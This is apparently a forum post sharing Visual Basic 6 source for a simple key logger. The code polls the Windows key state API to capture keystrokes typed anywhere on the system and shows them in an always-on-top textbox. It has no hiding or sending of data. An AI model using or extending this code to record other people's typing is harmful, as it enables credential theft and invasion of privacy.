[Night Owl]

Sharing my old vb6 snippets
Create

Timer
Textbox

Code:

Option Explicit
' This is not a real good key logger, but I've
' had a lot of people ask for an example so I
' thought I'd make one up.

' contact: patorjk@aol.com
' website: www.patorjk.com

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_NOMOVE = 2
Private Const SWP_NOSIZE = 1
Private Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2

Private Sub Form_Load()
Call SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
End Sub

Private Sub Text1_Click()
    MsgBox "Don't use this textbox!", 16, "PAT or JK"
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
    KeyAscii = 0
End Sub

Private Sub Timer1_Timer()
    On Error Resume Next
    Dim x As Integer, i As Integer
    ' loop through the some of the different
    ' keys on the keyboard
    For i = 32 To 256
        x = GetAsyncKeyState(i)
        ' if it looks like the key is pressed...
        If x = -32767 Then
            Text1.Text = Text1.Text + Chr(i)
        End If
        ' if the textbox gets too full then
        ' clear it
        If Len(Text1.Text) > 5000 Then
            Text1.Text = ""
        End If
    Next
    ' check for backspace
    x = GetAsyncKeyState(8)
    If x = -32767 Then
        Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
    End If
    If Len(Text1.Text) > 5000 Then
        Text1.Text = ""
    End If
End Sub